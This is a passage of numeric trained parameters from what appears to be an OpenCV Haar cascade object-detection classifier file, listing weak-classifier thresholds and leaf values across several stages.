1205 6.1096999794244766e-02 + + -3.8945000618696213e-02 -1.0807880163192749e+00 + <_> + + 0 -1 1206 -2.4563999846577644e-02 + + 5.8311098814010620e-01 -9.7599998116493225e-04 + <_> + + 0 -1 1207 3.3752001821994781e-02 + + -1.3795999810099602e-02 -8.4730297327041626e-01 + <_> + + 0 -1 1208 3.8199000060558319e-02 + + 1.5114299952983856e-01 -7.9473400115966797e-01 + <_> + + 0 -1 1209 -2.0117999985814095e-02 + + 5.1579099893569946e-01 -2.1445399522781372e-01 + <_> + + 0 -1 1210 2.4734999984502792e-02 + + -2.2105000913143158e-02 4.2917698621749878e-01 + <_> + + 0 -1 1211 -2.4357000365853310e-02 + + -8.6201298236846924e-01 -3.6760000512003899e-03 + <_> + + 0 -1 1212 -2.6442000642418861e-02 + + -4.5397499203681946e-01 2.2462800145149231e-01 + <_> + + 0 -1 1213 -3.4429999068379402e-03 + + 1.3073000311851501e-01 -3.8622701168060303e-01 + <_> + + 0 -1 1214 1.0701700299978256e-01 + + 1.3158600032329559e-01 -7.9306900501251221e-01 + <_> + + 0 -1 1215 4.5152999460697174e-02 + + -2.5296801328659058e-01 4.0672400593757629e-01 + <_> + + 0 -1 1216 4.4349998235702515e-02 + + 2.2613000124692917e-02 7.9618102312088013e-01 + <_> + + 0 -1 1217 1.0839999886229634e-03 + + -3.9158400893211365e-01 1.1639100313186646e-01 + <_> + + 0 -1 1218 7.1433000266551971e-02 + + 8.2466997206211090e-02 1.2530590295791626e+00 + <_> + + 0 -1 1219 3.5838000476360321e-02 + + -1.8203300237655640e-01 7.7078700065612793e-01 + <_> + + 0 -1 1220 -2.0839000120759010e-02 + + -6.1744397878646851e-01 1.5891399979591370e-01 + <_> + + 0 -1 1221 4.2525801062583923e-01 + + -4.8978000879287720e-02 -1.8422030210494995e+00 + <_> + + 0 -1 1222 1.1408000253140926e-02 + + 1.7918199300765991e-01 -1.5383499860763550e-01 + <_> + + 0 -1 1223 -1.5364999882876873e-02 + + -8.4016501903533936e-01 -1.0280000278726220e-03 + <_> + + 0 -1 1224 -1.5212000347673893e-02 + + -1.8995699286460876e-01 1.7130999267101288e-01 + <_> + + 0 -1 1225 -1.8972000107169151e-02 + + -7.9541999101638794e-01 6.6800001077353954e-03 + <_> + + 0 -1 1226 -3.3330000005662441e-03 + + -2.3530800640583038e-01 2.4730099737644196e-01 + <_> + + 0 -1 1227 9.3248002231121063e-02 + + -5.4758001118898392e-02 -1.8324300050735474e+00 + <_> + + 0 -1 1228 -1.2555000372231007e-02 + + 2.6385200023651123e-01 -3.8526400923728943e-01 + <_> + + 0 -1 1229 -2.7070000767707825e-02 + + -6.6929799318313599e-01 2.0340999588370323e-02 + <_> + + 0 -1 1230 -2.3677000775933266e-02 + + 6.7265301942825317e-01 -1.4344000257551670e-02 + <_> + + 0 -1 1231 -1.4275000430643559e-02 + + 3.0186399817466736e-01 -2.8514400124549866e-01 + <_> + + 0 -1 1232 2.8096999973058701e-02 + + 1.4766000211238861e-01 -1.4078520536422729e+00 + <_> + + 0 -1 1233 5.0840001553297043e-02 + + -1.8613600730895996e-01 7.9953002929687500e-01 + <_> + + 0 -1 1234 1.1505999602377415e-02 + + 1.9118399918079376e-01 -8.5035003721714020e-02 + <_> + + 0 -1 1235 -1.4661000110208988e-02 + + 4.5239299535751343e-01 -2.2205199301242828e-01 + <_> + + 0 -1 1236 2.2842499613761902e-01 + + 1.3488399982452393e-01 -1.2894610166549683e+00 + <_> + + 0 -1 1237 1.1106900125741959e-01 + + -2.0753799378871918e-01 5.4561597108840942e-01 + <_> + + 0 -1 1238 3.2450000289827585e-03 + + 3.2053700089454651e-01 -1.6403500735759735e-01 + <_> + + 0 -1 1239 8.5309997200965881e-02 + + -2.0210500061511993e-01 5.3296798467636108e-01 + <_> + + 0 -1 1240 2.2048000246286392e-02 + + 1.5698599815368652e-01 -1.7014099657535553e-01 + <_> + + 0 -1 1241 -1.5676999464631081e-02 + + -6.2863498926162720e-01 4.0761999785900116e-02 + <_> + + 0 -1 1242 3.3112901449203491e-01 + + 1.6609300673007965e-01 -1.0326379537582397e+00 + <_> + + 0 -1 1243 8.8470000773668289e-03 + + -2.5076198577880859e-01 3.1660598516464233e-01 + <_> + + 0 -1 1244 4.6080000698566437e-02 + + 1.5352100133895874e-01 -1.6333500146865845e+00 + <_> + + 0 -1 1245 -3.7703000009059906e-02 + + 5.6873798370361328e-01 -2.0102599263191223e-01 + <_> + 159 + -3.5939640998840332e+00 + + <_> + + 0 -1 1246 -8.1808999180793762e-02 + + 5.7124799489974976e-01 -6.7438799142837524e-01 + <_> + + 0 -1 1247 2.1761199831962585e-01 + + -3.8610199093818665e-01 9.0343999862670898e-01 + <_> + + 0 -1 1248 1.4878000132739544e-02 + + 2.2241599857807159e-01 -1.2779350280761719e+00 + <_> + + 0 -1 1249 5.2434999495744705e-02 + + -2.8690400719642639e-01 7.5742298364639282e-01 + <_> + + 0 -1 1250 9.1429995372891426e-03 + + -6.4880400896072388e-01 2.2268800437450409e-01 + <_> + + 0 -1 1251 7.9169999808073044e-03 + + -2.9253599047660828e-01 3.1030198931694031e-01 + <_> + + 0 -1 1252 -2.6084000244736671e-02 + + 4.5532700419425964e-01 -3.8500601053237915e-01 + <_> + + 0 -1 1253 -2.9400000348687172e-03 + + -5.1264399290084839e-01 2.7432298660278320e-01 + <_> + + 0 -1 1254 5.7130001485347748e-02 + + 1.5788000077009201e-02 -1.2133100032806396e+00 + <_> + + 0 -1 1255 -6.1309998854994774e-03 + + 3.9174601435661316e-01 -3.0866798758506775e-01 + <_> + + 0 -1 1256 -4.0405001491308212e-02 + + 1.1901949644088745e+00 -2.0347100496292114e-01 + <_> + + 0 -1 1257 -2.0297000184655190e-02 + + -6.8239498138427734e-01 2.0458699762821198e-01 + <_> + + 0 -1 1258 -1.7188999801874161e-02 + + -8.4939897060394287e-01 3.8433000445365906e-02 + <_> + + 0 -1 1259 -2.4215999990701675e-02 + + -1.1039420366287231e+00 1.5975099802017212e-01 + <_> + + 0 -1 1260 5.6869000196456909e-02 + + -1.9595299661159515e-01 1.1806850433349609e+00 + <_> + + 0 -1 1261 3.6199999158270657e-04 + + -4.0847799181938171e-01 3.2938599586486816e-01 + <_> + + 0 -1 1262 9.9790003150701523e-03 + + -2.9673001170158386e-01 4.1547900438308716e-01 + <_> + + 0 -1 1263 -5.2625000476837158e-02 + + -1.3069299459457397e+00 1.7862600088119507e-01 + <_> + + 0 -1 1264 -1.3748999685049057e-02 + + 2.3665800690650940e-01 -4.4536599516868591e-01 + <_> + + 0 -1 1265 -3.0517000705003738e-02 + + 2.9018300771713257e-01 -1.1210100352764130e-01 + <_> + + 0 -1 1266 -3.0037501454353333e-01 + + -2.4237680435180664e+00 -4.2830999940633774e-02 + <_> + + 0 -1 1267 -3.5990998148918152e-02 + + 8.8206499814987183e-01 -4.7012999653816223e-02 + <_> + + 0 -1 1268 -5.5112000554800034e-02 + + 8.0119001865386963e-01 -2.0490999519824982e-01 + <_> + + 0 -1 1269 3.3762000501155853e-02 + + 1.4617599546909332e-01 -1.1349489688873291e+00 + <_> + + 0 -1 1270 -8.2710003480315208e-03 + + -8.1604897975921631e-01 1.8988000229001045e-02 + <_> + + 0 -1 1271 -5.4399999789893627e-03 + + -7.0980900526046753e-01 2.2343699634075165e-01 + <_> + + 0 -1 1272 3.1059999018907547e-03 + + -7.2808599472045898e-01 4.0224999189376831e-02 + <_> + + 0 -1 1273 5.3651999682188034e-02 + + 1.7170900106430054e-01 -1.1163710355758667e+00 + <_> + + 0 -1 1274 -1.2541399896144867e-01 + + 2.7680370807647705e+00 -1.4611500501632690e-01 + <_> + + 0 -1 1275 9.2542000114917755e-02 + + 1.1609800159931183e-01 -3.9635529518127441e+00 + <_> + + 0 -1 1276 3.8513999432325363e-02 + + -7.6399999670684338e-03 -9.8780900239944458e-01 + <_> + + 0 -1 1277 -2.0200000144541264e-03 + + 2.3059999942779541e-01 -7.4970299005508423e-01 + <_> + + 0 -1 1278 9.7599998116493225e-03 + + -3.1137999892234802e-01 3.0287799239158630e-01 + <_> + + 0 -1 1279 2.4095000699162483e-02 + + -4.9529999494552612e-02 5.2690100669860840e-01 + <_> + + 0 -1 1280 -1.7982000485062599e-02 + + -1.1610640287399292e+00 -5.7000000961124897e-03 + <_> + + 0 -1 1281 -1.0555000044405460e-02 + + -2.7189099788665771e-01 2.3597699403762817e-01 + <_> + + 0 -1 1282 -7.2889998555183411e-03 + + -5.4219102859497070e-01 8.1914000213146210e-02 + <_> + + 0 -1 1283 2.3939000442624092e-02 + + 1.7975799739360809e-01 -6.7049497365951538e-01 + <_> + + 0 -1 1284 -1.8365999683737755e-02 + + 6.2664300203323364e-01 -2.0970100164413452e-01 + <_> + + 0 -1 1285 1.5715999528765678e-02 + + 2.4193699657917023e-01 -1.0444309711456299e+00 + <_> + + 0 -1 1286 -4.8804000020027161e-02 + + -9.4060599803924561e-01 -3.7519999314099550e-03 + <_> + + 0 -1 1287 6.7130001261830330e-03 + + -7.5432002544403076e-02 6.1575299501419067e-01 + <_> + + 0 -1 1288 9.7770001739263535e-03 + + 3.9285000413656235e-02 -8.4810298681259155e-01 + <_> + + 0 -1 1289 1.4744999818503857e-02 + + 1.6968999803066254e-01 -5.0906401872634888e-01 + <_> + + 0 -1 1290 9.7079001367092133e-02 + + -3.3103000372648239e-02 -1.2706379890441895e+00 + <_> + + 0 -1 1291 4.8285998404026031e-02 + + 9.4329997897148132e-02 2.7203190326690674e+00 + <_> + + 0 -1 1292 9.7810002043843269e-03 + + -3.9533400535583496e-01 1.5363800525665283e-01 + <_> + + 0 -1 1293 -3.9893999695777893e-02 + + -2.2767400741577148e-01 1.3913999497890472e-01 + <_> + + 0 -1 1294 2.2848000749945641e-02 + + -2.7391999959945679e-01 3.4199500083923340e-01 + <_> + + 0 -1 1295 6.7179999314248562e-03 + + -1.0874299705028534e-01 4.8125401139259338e-01 + <_> + + 0 -1 1296 5.9599999338388443e-02 + + -4.9522001296281815e-02 -2.0117089748382568e+00 + <_> + + 0 -1 1297 6.9340001791715622e-03 + + 1.5037499368190765e-01 -1.1271899938583374e-01 + <_> + + 0 -1 1298 1.5757000073790550e-02 + + -2.0885000005364418e-02 -1.1651979684829712e+00 + <_> + + 0 -1 1299 -4.9690000712871552e-02 + + -8.0213499069213867e-01 1.4372299611568451e-01 + <_> + + 0 -1 1300 5.2347000688314438e-02 + + -2.0836700499057770e-01 6.1677598953247070e-01 + <_> + + 0 -1 1301 2.2430999204516411e-02 + + 2.0305900275707245e-01 -7.5326198339462280e-01 + <_> + + 0 -1 1302 4.1142001748085022e-02 + + -1.8118199706077576e-01 1.0033359527587891e+00 + <_> + + 0 -1 1303 -2.1632000803947449e-02 + + 4.9998998641967773e-01 -3.4662999212741852e-02 + <_> + + 0 -1 1304 -8.2808002829551697e-02 + + 1.1711900234222412e+00 -1.8433600664138794e-01 + <_> + + 0 -1 1305 8.5060000419616699e-03 + + -6.3225001096725464e-02 2.9024899005889893e-01 + <_> + + 0 -1 1306 7.8905001282691956e-02 + + -2.3274500668048859e-01 5.9695798158645630e-01 + <_> + + 0 -1 1307 -9.0207003057003021e-02 + + -8.2211899757385254e-01 1.7772200703620911e-01 + <_> + + 0 -1 1308 -2.9269000515341759e-02 + + 6.0860699415206909e-01 -2.1468900144100189e-01 + <_> + + 0 -1 1309 6.9499998353421688e-03 + + -4.2665999382734299e-02 6.0512101650238037e-01 + <_> + + 0 -1 1310 -8.0629996955394745e-03 + + -1.1508270502090454e+00 -2.7286000549793243e-02 + <_> + + 0 -1 1311 1.9595999270677567e-02 + + -9.1880001127719879e-03 5.6857800483703613e-01 + <_> + + 0 -1 1312 -1.4884999953210354e-02 + + 3.7658798694610596e-01 -2.7149501442909241e-01 + <_> + + 0 -1 1313 2.5217000395059586e-02 + + -9.9991001188755035e-02 2.4664700031280518e-01 + <_> + + 0 -1 1314 -1.5855999663472176e-02 + + 6.6826701164245605e-01 -2.0614700019359589e-01 + <_> + + 0 -1 1315 2.9441000893712044e-02 + + 1.5832200646400452e-01 -7.6060897111892700e-01 + <_> + + 0 -1 1316 -8.5279997438192368e-03 + + 3.8212299346923828e-01 -2.5407800078392029e-01 + <_> + + 0 -1 1317 2.4421999230980873e-02 + + 1.5105099976062775e-01 -2.8752899169921875e-01 + <_> + + 0 -1 1318 -3.3886998891830444e-02 + + -6.8002802133560181e-01 3.4327000379562378e-02 + <_> + + 0 -1 1319 -2.0810000132769346e-03 + + 2.5413900613784790e-01 -2.6859098672866821e-01 + <_> + + 0 -1 1320 3.0358999967575073e-02 + + -3.0842000618577003e-02 -1.1476809978485107e+00 + <_> + + 0 -1 1321 4.0210001170635223e-03 + + -3.5253798961639404e-01 2.9868099093437195e-01 + <_> + + 0 -1 1322 2.7681000530719757e-02 + + -3.8148999214172363e-02 -1.3262039422988892e+00 + <_> + + 0 -1 1323 7.9039996489882469e-03 + + -2.3737000301480293e-02 7.0503002405166626e-01 + <_> + + 0 -1 1324 4.4031001627445221e-02 + + 1.0674899816513062e-01 -4.5261201262474060e-01 + <_> + + 0 -1 1325 -3.2370999455451965e-02 + + 4.6674901247024536e-01 -6.1546999961137772e-02 + <_> + + 0 -1 1326 2.0933000370860100e-02 + + -2.8447899222373962e-01 4.3845599889755249e-01 + <_> + + 0 -1 1327 2.5227999314665794e-02 + + -2.2537000477313995e-02 7.0389097929000854e-01 + <_> + + 0 -1 1328 6.5520000644028187e-03 + + -3.2554900646209717e-01 2.4023699760437012e-01 + <_> + + 0 -1 1329 -5.8557998389005661e-02 + + -1.2227720022201538e+00 1.1668799817562103e-01 + <_> + + 0 -1 1330 3.1899999827146530e-02 + + -1.9305000081658363e-02 -1.0973169803619385e+00 + <_> + + 0 -1 1331 -3.0445000156760216e-02 + + 6.5582501888275146e-01 7.5090996921062469e-02 + <_> + + 0 -1 1332 1.4933000318706036e-02 + + -5.2155798673629761e-01 1.1523099988698959e-01 + <_> + + 0 -1 1333 -4.9008000642061234e-02 + + -7.8303998708724976e-01 1.6657200455665588e-01 + <_> + + 0 -1 1334 8.3158999681472778e-02 + + -2.6879999786615372e-03 -8.5282301902770996e-01 + <_> + + 0 -1 1335 2.3902999237179756e-02 + + -5.1010999828577042e-02 4.1999098658561707e-01 + <_> + + 0 -1 1336 1.6428999602794647e-02 + + 1.9232999533414841e-02 -6.5049099922180176e-01 + <_> + + 0 -1 1337 -1.1838000267744064e-02 + + -6.2409800291061401e-01 1.5411199629306793e-01 + <_> + + 0 -1 1338 -1.6799999866634607e-04 + + 1.7589199542999268e-01 -3.4338700771331787e-01 + <_> + + 0 -1 1339 1.9193999469280243e-02 + + 4.3418999761343002e-02 7.9069197177886963e-01 + <_> + + 0 -1 1340 -1.0032000020146370e-02 + + 4.5648899674415588e-01 -2.2494800388813019e-01 + <_> + + 0 -1 1341 -1.4004000462591648e-02 + + 3.3570998907089233e-01 -4.8799999058246613e-03 + <_> + + 0 -1 1342 -1.0319899767637253e-01 + + -2.3378000259399414e+00 -5.8933001011610031e-02 + <_> + + 0 -1 1343 -9.5697000622749329e-02 + + -6.6153901815414429e-01 2.0098599791526794e-01 + <_> + + 0 -1 1344 -4.1480999439954758e-02 + + 4.5939201116561890e-01 -2.2314099967479706e-01 + <_> + + 0 -1 1345 2.4099999573081732e-03 + + -2.6898598670959473e-01 2.4922999739646912e-01 + <_> + + 0 -1 1346 1.0724999755620956e-01 + + -1.8640199303627014e-01 7.2769802808761597e-01 + <_> + + 0 -1 1347 3.1870000530034304e-03 + + -2.4608999490737915e-02 2.8643900156021118e-01 + <_> + + 0 -1 1348 2.9167000204324722e-02 + + -3.4683000296354294e-02 -1.1162580251693726e+00 + <_> + + 0 -1 1349 1.1287000030279160e-02 + + 6.3760001212358475e-03 6.6632097959518433e-01 + <_> + + 0 -1 1350 -1.2001000344753265e-02 + + 4.2420101165771484e-01 -2.6279801130294800e-01 + <_> + + 0 -1 1351 -1.2695999816060066e-02 + + -2.1957000717520714e-02 1.8936799466609955e-01 + <_> + + 0 -1 1352 2.4597000330686569e-02 + + -3.4963998943567276e-02 -1.0989320278167725e+00 + <_> + + 0 -1 1353 4.5953001827001572e-02 + + 1.1109799891710281e-01 -2.9306049346923828e+00 + <_> + + 0 -1 1354 -2.7241000905632973e-02 + + 2.9101699590682983e-01 -2.7407899498939514e-01 + <_> + + 0 -1 1355 4.0063999593257904e-02 + + 1.1877900362014771e-01 -6.2801802158355713e-01 + <_> + + 0 -1 1356 2.3055000230669975e-02 + + 1.4813800156116486e-01 -3.7007498741149902e-01 + <_> + + 0 -1 1357 -2.3737000301480293e-02 + + -5.3724801540374756e-01 1.9358199834823608e-01 + <_> + + 0 -1 1358 7.7522002160549164e-02 + + -6.0194000601768494e-02 -1.9489669799804688e+00 + <_> + + 0 -1 1359 -1.3345000334084034e-02 + + -4.5229598879814148e-01 1.8741500377655029e-01 + <_> + + 0 -1 1360 -2.1719999611377716e-02 + + 1.2144249677658081e+00 -1.5365800261497498e-01 + <_> + + 0 -1 1361 -7.1474999189376831e-02 + + -2.3047130107879639e+00 1.0999900102615356e-01 + <_> + + 0 -1 1362 -5.4999999701976776e-03 + + -7.1855199337005615e-01 2.0100999623537064e-02 + <_> + + 0 -1 1363 2.6740999892354012e-02 + + 7.3545001447200775e-02 9.8786002397537231e-01 + <_> + + 0 -1 1364 -3.9407998323440552e-02 + + -1.2227380275726318e+00 -4.3506998568773270e-02 + <_> + + 0 -1 1365 2.5888999924063683e-02 + + 1.3409300148487091e-01 -1.1770780086517334e+00 + <_> + + 0 -1 1366 4.8925001174211502e-02 + + -3.0810000374913216e-02 -9.3479502201080322e-01 + <_> + + 0 -1 1367 3.6892998963594437e-02 + + 1.3333700597286224e-01 -1.4998290538787842e+00 + <_> + + 0 -1 1368 7.8929997980594635e-02 + + -1.4538800716400146e-01 1.5631790161132812e+00 + <_> + + 0 -1 1369 2.9006000608205795e-02 + + 1.9383700191974640e-01 -6.7642802000045776e-01 + <_> + + 0 -1 1370 6.3089998438954353e-03 + + -3.7465399503707886e-01 1.0857500135898590e-01 + <_> + + 0 -1 1371 -6.5830998122692108e-02 + + 8.1059402227401733e-01 3.0201999470591545e-02 + <_> + + 0 -1 1372 -6.8965002894401550e-02 + + 8.3772599697113037e-01 -1.7140999436378479e-01 + <_> + + 0 -1 1373 -1.1669100075960159e-01 + + -9.4647198915481567e-01 1.3123199343681335e-01 + <_> + + 0 -1 1374 -1.3060000492259860e-03 + + 4.6007998287677765e-02 -5.2011597156524658e-01 + <_> + + 0 -1 1375 -4.4558998197317123e-02 + + -1.9423669576644897e+00 1.3200700283050537e-01 + <_> + + 0 -1 1376 5.1033001393079758e-02 + + -2.1480999886989594e-01 4.8673900961875916e-01 + <_> + + 0 -1 1377 -3.1578000634908676e-02 + + 5.9989798069000244e-01 7.9159997403621674e-03 + <_> + + 0 -1 1378 2.1020000800490379e-02 + + -2.2069500386714935e-01 5.4046201705932617e-01 + <_> + + 0 -1 1379 -1.3824200630187988e-01 + + 6.2957501411437988e-01 -2.1712999790906906e-02 + <_> + + 0 -1 1380 5.2228998392820358e-02 + + -2.3360900580883026e-01 4.9760800600051880e-01 + <_> + + 0 -1 1381 2.5884000584483147e-02 + + 1.8041999638080597e-01 -2.2039200365543365e-01 + <_> + + 0 -1 1382 -1.2138999998569489e-02 + + -6.9731897115707397e-01 1.5712000429630280e-02 + <_> + + 0 -1 1383 -2.4237999692559242e-02 + + 3.4593299031257629e-01 7.1469999849796295e-02 + <_> + + 0 -1 1384 -2.5272000581026077e-02 + + -8.7583297491073608e-01 -9.8240002989768982e-03 + <_> + + 0 -1 1385 1.2597000226378441e-02 + + 2.3649999499320984e-01 -2.8731200098991394e-01 + <_> + + 0 -1 1386 5.7330999523401260e-02 + + -6.1530999839305878e-02 -2.2326040267944336e+00 + <_> + + 0 -1 1387 1.6671000048518181e-02 + + -1.9850100576877594e-01 4.0810701251029968e-01 + <_> + + 0 -1 1388 -2.2818999364972115e-02 + + 9.6487599611282349e-01 -2.0245699584484100e-01 + <_> + + 0 -1 1389 3.7000001611886546e-05 + + -5.8908998966217041e-02 2.7055400609970093e-01 + <_> + + 0 -1 1390 -7.6700001955032349e-03 + + -4.5317101478576660e-01 8.9628003537654877e-02 + <_> + + 0 -1 1391 9.4085998833179474e-02 + + 1.1604599654674530e-01 -1.0951169729232788e+00 + <_> + + 0 -1 1392 -6.2267001718282700e-02 + + 1.8096530437469482e+00 -1.4773200452327728e-01 + <_> + + 0 -1 1393 1.7416000366210938e-02 + + 2.3068200051784515e-01 -4.2417600750923157e-01 + <_> + + 0 -1 1394 -2.2066000849008560e-02 + + 4.9270299077033997e-01 -2.0630900561809540e-01 + <_> + + 0 -1 1395 -1.0404000058770180e-02 + + 6.0924297571182251e-01 2.8130000457167625e-02 + <_> + + 0 -1 1396 -9.3670003116130829e-03 + + 4.0171200037002563e-01 -2.1681700646877289e-01 + <_> + + 0 -1 1397 -2.9039999470114708e-02 + + -8.4876501560211182e-01 1.4246800541877747e-01 + <_> + + 0 -1 1398 -2.1061999723315239e-02 + + -7.9198300838470459e-01 -1.2595999985933304e-02 + <_> + + 0 -1 1399 -3.7000998854637146e-02 + + -6.7488902807235718e-01 1.2830400466918945e-01 + <_> + + 0 -1 1400 1.0735999792814255e-02 + + 3.6779999732971191e-02 -6.3393002748489380e-01 + <_> + + 0 -1 1401 1.6367599368095398e-01 + + 1.3803899288177490e-01 -4.7189000248908997e-01 + <_> + + 0 -1 1402 9.4917997717857361e-02 + + -1.3855700194835663e-01 1.9492419958114624e+00 + <_> + + 0 -1 1403 3.5261999815702438e-02 + + 1.3721899688243866e-01 -2.1186530590057373e+00 + <_> + + 0 -1 1404 1.2811000458896160e-02 + + -2.0008100569248199e-01 4.9507799744606018e-01 + <_> + 155 + -3.3933560848236084e+00 + + <_> + + 0 -1 1405 1.3904400169849396e-01 + + -4.6581199765205383e-01 7.6431602239608765e-01 + <_> + + 0 -1 1406 1.1916999705135822e-02 + + -9.4398999214172363e-01 3.9726299047470093e-01 + <_> + + 0 -1 1407 -1.0006999596953392e-02 + + 3.2718798518180847e-01 -6.3367402553558350e-01 + <_> + + 0 -1 1408 -6.0479999519884586e-03 + + 2.7427899837493896e-01 -5.7446998357772827e-01 + <_> + + 0 -1 1409 -1.2489999644458294e-03 + + 2.3629300296306610e-01 -6.8593502044677734e-01 + <_> + + 0 -1 1410 3.2382000237703323e-02 + + -5.7630199193954468e-01 2.7492699027061462e-01 + <_> + + 0 -1 1411 -1.3957999646663666e-02 + + -6.1061501502990723e-01 2.4541600048542023e-01 + <_> + + 0 -1 1412 1.1159999994561076e-03 + + -5.6539100408554077e-01 2.7179300785064697e-01 + <_> + + 0 -1 1413 2.7000000045518391e-05 + + -8.0235999822616577e-01 1.1509100347757339e-01 + <_> + + 0 -1 1414 -2.5700000696815550e-04 + + -8.1205898523330688e-01 2.3844699561595917e-01 + <_> + + 0 -1 1415 4.0460000745952129e-03 + + 1.3909600675106049e-01 -6.6163200139999390e-01 + <_> + + 0 -1 1416 1.4356000348925591e-02 + + -1.6485199332237244e-01 4.1901698708534241e-01 + <_> + + 0 -1 1417 -5.5374998599290848e-02 + + 1.4425870180130005e+00 -1.8820199370384216e-01 + <_> + + 0 -1 1418 9.3594998121261597e-02 + + 1.3548299670219421e-01 -9.1636097431182861e-01 + <_> + + 0 -1 1419 2.6624999940395355e-02 + + -3.3748298883438110e-01 3.9233601093292236e-01 + <_> + + 0 -1 1420 3.7469998933374882e-03 + + -1.1615400016307831e-01 4.4399300217628479e-01 + <_> + + 0 -1 1421 -3.1886000186204910e-02 + + -9.9498301744461060e-01 1.6120000509545207e-03 + <_> + + 0 -1 1422 -2.2600000724196434e-02 + + -4.8067399859428406e-01 1.7007300257682800e-01 + <_> + + 0 -1 1423 2.5202000513672829e-02 + + 3.5580001771450043e-02 -8.0215400457382202e-01 + <_> + + 0 -1 1424 -3.1036999076604843e-02 + + -1.0895340442657471e+00 1.8081900477409363e-01 + <_> + + 0 -1 1425 -2.6475999504327774e-02 + + 9.5671200752258301e-01 -2.1049399673938751e-01 + <_> + + 0 -1 1426 -1.3853999786078930e-02 + + -1.0370320081710815e+00 2.2166700661182404e-01 + <_> + + 0 -1 1427 -6.2925003468990326e-02 + + 9.0199398994445801e-01 -1.9085299968719482e-01 + <_> + + 0 -1 1428 -4.4750999659299850e-02 + + -1.0119110345840454e+00 1.4691199362277985e-01 + <_> + + 0 -1 1429 -2.0428000018000603e-02 + + 6.1624497175216675e-01 -2.3552699387073517e-01 + <_> + + 0 -1 1430 -8.0329999327659607e-03 + + -8.3279997110366821e-02 2.1728700399398804e-01 + <_> + + 0 -1 1431 8.7280003353953362e-03 + + 6.5458998084068298e-02 -6.0318702459335327e-01 + <_> + + 0 -1 1432 -2.7202000841498375e-02 + + -9.3447399139404297e-01 1.5270000696182251e-01 + <_> + + 0 -1 1433 -1.6471000388264656e-02 + + -8.4177100658416748e-01 1.3332000002264977e-02 + <_> + + 0 -1 1434 -1.3744000345468521e-02 + + 6.0567200183868408e-01 -9.2021003365516663e-02 + <_> + + 0 -1 1435 2.9164999723434448e-02 + + -2.8114000335335732e-02 -1.4014569520950317e+00 + <_> + + 0 -1 1436 3.7457000464200974e-02 + + 1.3080599904060364e-01 -4.9382498860359192e-01 + <_> + + 0 -1 1437 -2.5070000439882278e-02 + + -1.1289390325546265e+00 -1.4600000344216824e-02 + <_> + + 0 -1 1438 -6.3812002539634705e-02 + + 7.5871598720550537e-01 -1.8200000049546361e-03 + <_> + + 0 -1 1439 -9.3900002539157867e-03 + + 2.9936400055885315e-01 -2.9487800598144531e-01 + <_> + + 0 -1 1440 -7.6000002445653081e-04 + + 1.9725000485777855e-02 1.9993899762630463e-01 + <_> + + 0 -1 1441 -2.1740999072790146e-02 + + -8.5247898101806641e-01 4.9169998615980148e-02 + <_> + + 0 -1 1442 -1.7869999632239342e-02 + + -5.9985999017953873e-02 1.5222500264644623e-01 + <_> + + 0 -1 1443 -2.4831000715494156e-02 + + 3.5603401064872742e-01 -2.6259899139404297e-01 + <_> + + 0 -1 1444 1.5715500712394714e-01 + + 1.5599999460391700e-04 1.0428730249404907e+00 + <_> + + 0 -1 1445 6.9026999175548553e-02 + + -3.3006999641656876e-02 -1.1796669960021973e+00 + <_> + + 0 -1 1446 -1.1021999642252922e-02 + + 5.8987700939178467e-01 -5.7647999376058578e-02 + <_> + + 0 -1 1447 -1.3834999874234200e-02 + + 5.9502798318862915e-01 -2.4418599903583527e-01 + <_> + + 0 -1 1448 -3.0941000208258629e-02 + + -1.1723799705505371e+00 1.6907000541687012e-01 + <_> + + 0 -1 1449 2.1258000284433365e-02 + + -1.8900999799370766e-02 -1.0684759616851807e+00 + <_> + + 0 -1 1450 9.3079999089241028e-02 + + 1.6305600106716156e-01 -1.3375270366668701e+00 + <_> + + 0 -1 1451 2.9635999351739883e-02 + + -2.2524799406528473e-01 4.5400100946426392e-01 + <_> + + 0 -1 1452 -1.2199999764561653e-04 + + 2.7409100532531738e-01 -3.7371399998664856e-01 + <_> + + 0 -1 1453 -4.2098000645637512e-02 + + -7.5828802585601807e-01 1.7137000337243080e-02 + <_> + + 0 -1 1454 -2.2505000233650208e-02 + + -2.2759300470352173e-01 2.3698699474334717e-01 + <_> + + 0 -1 1455 -1.2862999923527241e-02 + + 1.9252400100231171e-01 -3.2127100229263306e-01 + <_> + + 0 -1 1456 2.7860000729560852e-02 + + 1.6723699867725372e-01 -1.0209059715270996e+00 + <_> + + 0 -1 1457 -2.7807999402284622e-02 + + 1.2824759483337402e+00 -1.7225299775600433e-01 + <_> + + 0 -1 1458 -6.1630001291632652e-03 + + -5.4072898626327515e-01 2.3885700106620789e-01 + <_> + + 0 -1 1459 -2.0436000078916550e-02 + + 6.3355398178100586e-01 -2.1090599894523621e-01 + <_> + + 0 -1 1460 -1.2307999655604362e-02 + + -4.9778199195861816e-01 1.7402599751949310e-01 + <_> + + 0 -1 1461 -4.0493998676538467e-02 + + -1.1848740577697754e+00 -3.3890999853610992e-02 + <_> + + 0 -1 1462 2.9657000675797462e-02 + + 2.1740999072790146e-02 1.0069919824600220e+00 + <_> + + 0 -1 1463 6.8379999138414860e-03 + + 2.9217999428510666e-02 -5.9906297922134399e-01 + <_> + + 0 -1 1464 1.6164999455213547e-02 + + -2.1000799536705017e-01 3.7637299299240112e-01 + <_> + + 0 -1 1465 5.0193000584840775e-02 + + 2.5319999549537897e-03 -7.1668201684951782e-01 + <_> + + 0 -1 1466 1.9680000841617584e-03 + + -2.1921400725841522e-01 3.2298699021339417e-01 + <_> + + 0 -1 1467 2.4979999288916588e-02 + + -9.6840001642704010e-03 -7.7572900056838989e-01 + <_> + + 0 -1 1468 -1.5809999778866768e-02 + + 4.4637501239776611e-01 -6.1760000884532928e-02 + <_> + + 0 -1 1469 3.7206999957561493e-02 + + -2.0495399832725525e-01 5.7722198963165283e-01 + <_> + + 0 -1 1470 -7.9264998435974121e-02 + + -7.6745402812957764e-01 1.2550400197505951e-01 + <_> + + 0 -1 1471 -1.7152000218629837e-02 + + -1.4121830463409424e+00 -5.1704000681638718e-02 + <_> + + 0 -1 1472 3.2740000635385513e-02 + + 1.9334000349044800e-01 -6.3633698225021362e-01 + <_> + + 0 -1 1473 -1.1756999790668488e-01 + + 8.4325402975082397e-01 -1.8018600344657898e-01 + <_> + + 0 -1 1474 1.2057200074195862e-01 + + 1.2530000507831573e-01 -2.1213600635528564e+00 + <_> + + 0 -1 1475 4.2779999785125256e-03 + + -4.6604400873184204e-01 8.9643999934196472e-02 + <_> + + 0 -1 1476 -7.2544999420642853e-02 + + 5.1826500892639160e-01 1.6823999583721161e-02 + 